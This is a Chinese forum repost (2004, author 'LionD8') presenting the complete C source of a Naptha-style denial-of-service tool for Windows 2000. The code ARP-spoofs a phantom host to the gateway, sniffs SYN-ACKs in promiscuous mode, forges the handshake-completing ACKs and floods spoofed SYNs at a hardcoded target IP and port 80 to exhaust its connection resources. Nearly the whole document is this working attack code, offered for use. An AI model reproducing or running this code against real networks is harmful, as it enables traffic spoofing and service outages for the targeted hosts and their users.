NAPTHA攻击方式在2K下的简单实现

NAPTHA攻击方式在2K下的简单实现
/*

作者：LionD8
EMAIL：liond8@eyou.com
出处:https://www.xfocus.net/bbs/index.php?act=SE&f=3&t=33339&p=117598

我的窝:http://liond8.126.com
2004.2.16
凌晨

简单原理:
1.欺骗网关，让网关知道幻影主机的MAC.
2.嗅探局域网中的所有数据包，判断是不是返回给虚幻主机的
第2次握手的数据包。如果是，就伪造第3次握手.
3.发送伪造的SYN报文.

通过消耗对方的维护连接的资源进行DOS。占用通道等。

详细原理请见Warning3老大整理的
《新型网络DoS(拒绝服务)攻击漏洞 - "Naptha"》
我就不废话了。
地址: http://www.nsfocus.net/index.php?act=magazine&do=view&mid=721

*/

///////////////////////////////////////////////////
//以下代码在2K
VC6.0下编译通过
//在虚拟机上测试，好像2k系统如《新型网络DoS(拒绝服务)攻击漏洞 -
"Naptha"》
//所说，不受什么影响.
///////////////////////////////////////////////////

#include
"stdio.h"
#include "Packet32.h"
#include "windows.h"
#include
<ws2tcpip.h>
#include "winsock2.h"
#include
"wchar.h"

#define EPT_IP 0x0800

#define EPT_ARP 0x0806

#define ARP_HARDWARE 0x0001

#define ARP_REQUEST 0x0001
#define ARP_REPLY 0x0002

#define
NDIS_PACKET_TYPE_PROMISCUOUS 0x0020 //混杂模式

#pragma comment(lib,
"packet.lib")
#pragma comment(lib, "ws2_32.lib")

#pragma pack(push,
1)

typedef struct ehhdr
{
UCHAR eh_dst[6];

UCHAR eh_src[6];
USHORT eh_type;
}EHHEADR,
*PEHHEADR;

typedef struct arphdr
{
USHORT arp_hrd;

USHORT arp_pro;
UCHAR arp_hln;

UCHAR arp_pln;

USHORT arp_op;
UCHAR arp_sha[6];

ULONG arp_spa;
UCHAR
arp_tha[6];
ULONG arp_tpa;
}ARPHEADR,
*PARPHEADR;

typedef struct
arpPacket
{
EHHEADR ehhdr;
ARPHEADR arphdr;
}
ARPPACKET, *PARPPACKET;

#pragma pack(pop)

typedef struct
ip_head
{
unsigned char h_verlen;
unsigned char
tos;
unsigned short total_len;
unsigned short
ident;
unsigned short frag_and_flags;
unsigned char ttl;

unsigned char proto;
unsigned short checksum;
unsigned int
sourceIP;
unsigned int destIP;
}IPHEADER;

typedef
struct tcp_head
{
USHORT th_sport;
USHORT th_dport;

unsigned int th_seq;
unsigned int th_ack;
unsigned
char th_lenres;
unsigned char th_flag;
USHORT
th_win;
USHORT th_sum;
USHORT th_urp;

}TCPHEADER;

typedef struct tsd_hdr
{
unsigned long saddr;

unsigned long daddr;
char mbz;
char ptcl;

unsigned short
tcpl;
}PSDHEADER;

DWORD WINAPI ThreadArpSnoop(LPVOID
lp);
USHORT checksum(USHORT *buffer, int
size);
DWORD WINAPI ThreadSynFlood(LPVOID
lp);
DWORD WINAPI SnifferSynAck(LPVOID lp);
void SendAck (
DWORD SEQ , DWORD ACK
,USHORT SPort);
void AnalyseData (LPPACKET
lpPacket);

#define ATPORT 80 //攻击端口
#define ATIP "192.168.1.1" //攻击IP
#define GATE "192.168.85.1" //网关
#define SNOOPIP "192.168.85.250" //幻影主机IP
#define SLEEPTIME 1000
UCHAR DMacAddr[6]={0xFF,0xFF,0xFF,0xFF,0xFF,0xFF};
//广播
UCHAR SMacAddr[6]={0xFF,0xFF,0xFF,0xFF,0xFF,0xFE};
//幻影主机MAC

BOOL IsGoOn = TRUE;

void main()
{

IsGoOn
=
FALSE;
CreateThread(NULL,NULL,ThreadArpSnoop,NULL,NULL,NULL);

while
( !IsGoOn )
Sleep(1);
IsGoOn =
FALSE;
CreateThread(NULL,NULL,SnifferSynAck,NULL,NULL,NULL);
while
( !IsGoOn
)
Sleep(1);
CreateThread(NULL,NULL,ThreadSynFlood,NULL,NULL,NULL);

while
(1)
Sleep(1000000);

}

DWORD WINAPI ThreadArpSnoop(LPVOID
lp)
{
static CHAR AdapterList[10][1024];
TCHAR
szPacketBuf[512];
LPADAPTER lpAdapter;
LPPACKET
lpPacket;
WCHAR AdapterName[2048];
WCHAR *temp,*temp1;
ARPPACKET ARPPacket;
ULONG
AdapterLength = 1024;
DWORD AdapterNum = 0;
DWORD
nRetCode, i;

if(PacketGetAdapterNames((char*)AdapterName,
&AdapterLength) == FALSE)
{
printf("Unable to retrieve the
list of the adapters!/n");
return 0;
}
temp =
AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp !=
'/0')||(*(temp-1) != '/0'))
{
if (*temp ==
'/0')
{
memcpy(AdapterList[i],temp1,(temp-temp1)*sizeof(WCHAR));
temp1=temp+1;
i++;
}
temp++;
}
AdapterNum
= i;
for (i = 0; i < AdapterNum; i++)
wprintf(L"/n%d- %s/n",
i+1, AdapterList[i]);
printf("/nPlease select adapter
number:");
scanf("%d",&i);
if(i>AdapterNum)
{
printf("/nInput
Number error!");
return 0;
}

IsGoOn =
TRUE;
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR)
AdapterList[i-1]);
if (!lpAdapter || (lpAdapter->hFile ==
INVALID_HANDLE_VALUE))
{
nRetCode =
GetLastError();
printf("Unable to open the driver, Error Code :
%lx/n", nRetCode);
return 0;
}

lpPacket =
PacketAllocatePacket();
if(lpPacket ==
NULL)
{
printf("/nError:failed to allocate the LPPACKET
structure.");
return 0;
}
memset(szPacketBuf, 0,
sizeof(szPacketBuf));
memcpy(ARPPacket.ehhdr.eh_dst, DMacAddr,
6);
memcpy(ARPPacket.ehhdr.eh_src, SMacAddr, 6);

ARPPacket.ehhdr.eh_type =
htons(EPT_ARP);
ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);

ARPPacket.arphdr.arp_pro =
htons(EPT_IP);
ARPPacket.arphdr.arp_hln =
6;
ARPPacket.arphdr.arp_pln =
4;
ARPPacket.arphdr.arp_op =
htons(1);
memcpy(ARPPacket.arphdr.arp_sha, SMacAddr,
6);
ARPPacket.arphdr.arp_spa =
inet_addr(SNOOPIP);
memset(ARPPacket.arphdr.arp_tha,0,6);
ARPPacket.arphdr.arp_tpa
= inet_addr(GATE);
memcpy(szPacketBuf, (char*)&ARPPacket,
sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf,
60);

if(PacketSetNumWrites(lpAdapter,
1)==FALSE)
{
printf("warning: Unable to send more than one
packet in a single write!/n");
}
while ( 1
)
{
if(PacketSendPacket(lpAdapter, lpPacket,
TRUE)==FALSE)
{
printf("Error sending the
packets!/n");
return
0;
}
Sleep(30000);
}
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return
0;
}

DWORD WINAPI ThreadSynFlood(LPVOID lp)
{
WSADATA
WSAData;
SOCKET sock;
SOCKADDR_IN addr_in;
IPHEADER
ipHeader;
TCPHEADER tcpHeader;
PSDHEADER psdHeader;
int
SourcePort;

char szSendBuf[60]={0};
BOOL flag;
int
rect,nTimeOver;
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
{

printf("WSAStartup Error!/n");
return
0;
}

sock=NULL;
if
((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
{
printf("Socket
Setup Error!/n");
return 0;
}

flag=true;
if
(setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char
*)&flag,sizeof(flag))==SOCKET_ERROR)
{

printf("setsockopt IP_HDRINCL error!/n");
return false;

}

nTimeOver=1000;
if (setsockopt(sock, SOL_SOCKET,
SO_SNDTIMEO, (char*)&nTimeOver,
sizeof(nTimeOver))==SOCKET_ERROR) //设置发送的时间
{

printf("setsockopt SO_SNDTIMEO error!/n");
return false;

}

addr_in.sin_family=AF_INET;

addr_in.sin_port=htons(ATPORT);
addr_in.sin_addr.S_un.S_addr=inet_addr(ATIP);
ipHeader.h_verlen=(4<<4
| sizeof(ipHeader)/sizeof(unsigned
long));
ipHeader.tos=0;
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
//IP总长度
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=123;

ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.destIP=inet_addr(ATIP);
tcpHeader.th_dport=htons(ATPORT);

tcpHeader.th_ack=0;

tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2;

tcpHeader.th_win=htons(512);
tcpHeader.th_urp=0;
tcpHeader.th_seq=htonl(0x12345678);

psdHeader.daddr=ipHeader.destIP;
psdHeader.mbz=0;

psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));

ipHeader.sourceIP=inet_addr(SNOOPIP);
while(TRUE)
{
SourcePort=GetTickCount()%65534;

tcpHeader.th_sport=htons(SourcePort);
tcpHeader.th_sum=0;
psdHeader.saddr=ipHeader.sourceIP;

memcpy(szSendBuf,
&psdHeader, sizeof(psdHeader));

memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader,
sizeof(tcpHeader));
tcpHeader.th_sum=checksum((USHORT
*)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));


memcpy(szSendBuf, &ipHeader,
sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader,
sizeof(tcpHeader));

rect=sendto(sock, szSendBuf,
sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in,
sizeof(addr_in));
if (rect==SOCKET_ERROR)
{

printf("send
error!:%x/n",WSAGetLastError());
return
false;
}
else printf("send
ok!/n");

Sleep(SLEEPTIME);
}//endwhile
closesocket(sock);
WSACleanup();
return
0;
}

USHORT checksum(USHORT *buffer, int size)
{
unsigned
long cksum=0;
while(size >1)

{
cksum+=*buffer++;
size -=sizeof(USHORT);
}

if(size)
{
cksum += *(UCHAR*)buffer;
}

cksum = (cksum >> 16) + (cksum & 0xffff);
cksum +=
(cksum >>16);
return
(USHORT)(~cksum);
}

DWORD WINAPI SnifferSynAck(LPVOID
lp)
{
LPADAPTER lpAdapter;
static CHAR
AdapterList[10][1024];
ULONG AdapterNum;
WCHAR
AdapterName[2048];
WCHAR
*temp,*temp1;
ULONG AdapterLength=1024;
ULONG i,adapter_num=0;

if(PacketGetAdapterNames((char*)AdapterName,
&AdapterLength) == FALSE)
{
printf("Unable to retrieve the
list of the adapters!/n");
return 0;
}
temp =
AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp !=
'/0')||(*(temp-1) != '/0'))
{
if (*temp ==
'/0')
{
memcpy(AdapterList[i],temp1,(temp-temp1)*sizeof(WCHAR));
temp1=temp+1;
i++;
}
temp++;
}
AdapterNum
= i;
for (i = 0; i < AdapterNum; i++)
wprintf(L"/n%d- %s/n",
i+1, AdapterList[i]);
printf("/nPlease select adapter
number:");
scanf("%d",&i);
if(i>AdapterNum)
{
printf("/nInput
Number error!");
return 0;
}
IsGoOn =
TRUE;

lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)AdapterList[i-1]);
if
(!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))
{
printf("Unable
to open the driver, Error Code : %lx/n", GetLastError());
return
0;
}

//设置网卡为混杂模式
if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
{
printf("Warning:
Unable to set the adapter to promiscuous
mode/n");
}

if(PacketSetBuff(lpAdapter,1024*10)==FALSE)
{
printf("PacketSetBuff
Error: %d/n",GetLastError());
return -1;
}

while (
1 )
{
TCHAR Buffer[1024*10]={0};
LPPACKET
lpPacket;
lpPacket=PacketAllocatePacket();

PacketInitPacket(lpPacket,Buffer,sizeof(Buffer));
PacketReceivePacket(lpAdapter,lpPacket,TRUE);
AnalyseData(
lpPacket );
PacketFreePacket(lpPacket);

}
return
0;
}

void AnalyseData (LPPACKET lpPacket)
{
char
*Buf;
EHHEADR *lpEthdr;
bpf_hdr *lpBpfhdr;
Buf=(char
*)lpPacket->Buffer;
lpBpfhdr=(bpf_hdr *)Buf;
lpEthdr=(EHHEADR
*)(Buf+lpBpfhdr->bh_hdrlen);
if(lpEthdr->eh_type==htons(0x0800)
&& (!memcmp(lpEthdr->eh_dst,SMacAddr,6))
)
{
TCPHEADER *lpTcphdr;
lpTcphdr=(TCPHEADER
*)(Buf+lpBpfhdr->bh_hdrlen+sizeof(EHHEADR)+sizeof(IPHEADER));

if
( lpTcphdr->th_ack == ntohl(0x12345678+1) && lpTcphdr->th_flag ==
0x12)
{
SendAck(lpTcphdr->th_seq,lpTcphdr->th_ack,lpTcphdr->th_dport);
}
}

}

void SendAck
( DWORD SEQ , DWORD ACK ,USHORT SPort)
{
SOCKET sock;

SOCKADDR_IN addr_in;
IPHEADER ipHeader;
TCPHEADER
tcpHeader;
PSDHEADER psdHeader;

char
szSendBuf[60]={0};
BOOL flag;
int
rect,nTimeOver;

sock=NULL;
if
((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
{
printf("Socket
Setup Error!/n");
return ;
}

flag=true;
if
(setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char
*)&flag,sizeof(flag))==SOCKET_ERROR)
{

printf("setsockopt IP_HDRINCL error!/n");
return ;

}

nTimeOver=1000;
if (setsockopt(sock, SOL_SOCKET,
SO_SNDTIMEO, (char*)&nTimeOver,
sizeof(nTimeOver))==SOCKET_ERROR) //设置发送的时间
{

printf("setsockopt SO_SNDTIMEO error!/n");
return ;

}
addr_in.sin_family=AF_INET;

addr_in.sin_port=htons(ATPORT);
addr_in.sin_addr.S_un.S_addr=inet_addr(ATIP);
ipHeader.h_verlen=(4<<4
| sizeof(ipHeader)/sizeof(unsigned
long));
ipHeader.tos=0;
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
//IP总长度
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=123;

ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.destIP=inet_addr(ATIP);
tcpHeader.th_dport=htons(ATPORT);

tcpHeader.th_ack=htonl((ntohl(SEQ)+1));

tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=0x10;
// ack
tcpHeader.th_win=htons(512);
tcpHeader.th_urp=0;
tcpHeader.th_seq=ACK;
psdHeader.daddr=ipHeader.destIP;
psdHeader.mbz=0;

psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));

ipHeader.sourceIP=inet_addr(SNOOPIP);
tcpHeader.th_sport=SPort;
tcpHeader.th_sum=0;
psdHeader.saddr=ipHeader.sourceIP;
memcpy(szSendBuf,
&psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader),
&tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((USHORT
*)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(szSendBuf,
&ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader),
&tcpHeader, sizeof(tcpHeader));
rect=sendto(sock, szSendBuf,
sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in,
sizeof(addr_in));
if (rect==SOCKET_ERROR)
{

printf("send error!:%x/n",WSAGetLastError());
return
;
}
else printf("send
ok!/n");
closesocket(sock);

}

//参考文献: 《新型网络DoS(拒绝服务)攻击漏洞 -
"Naptha"》
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=721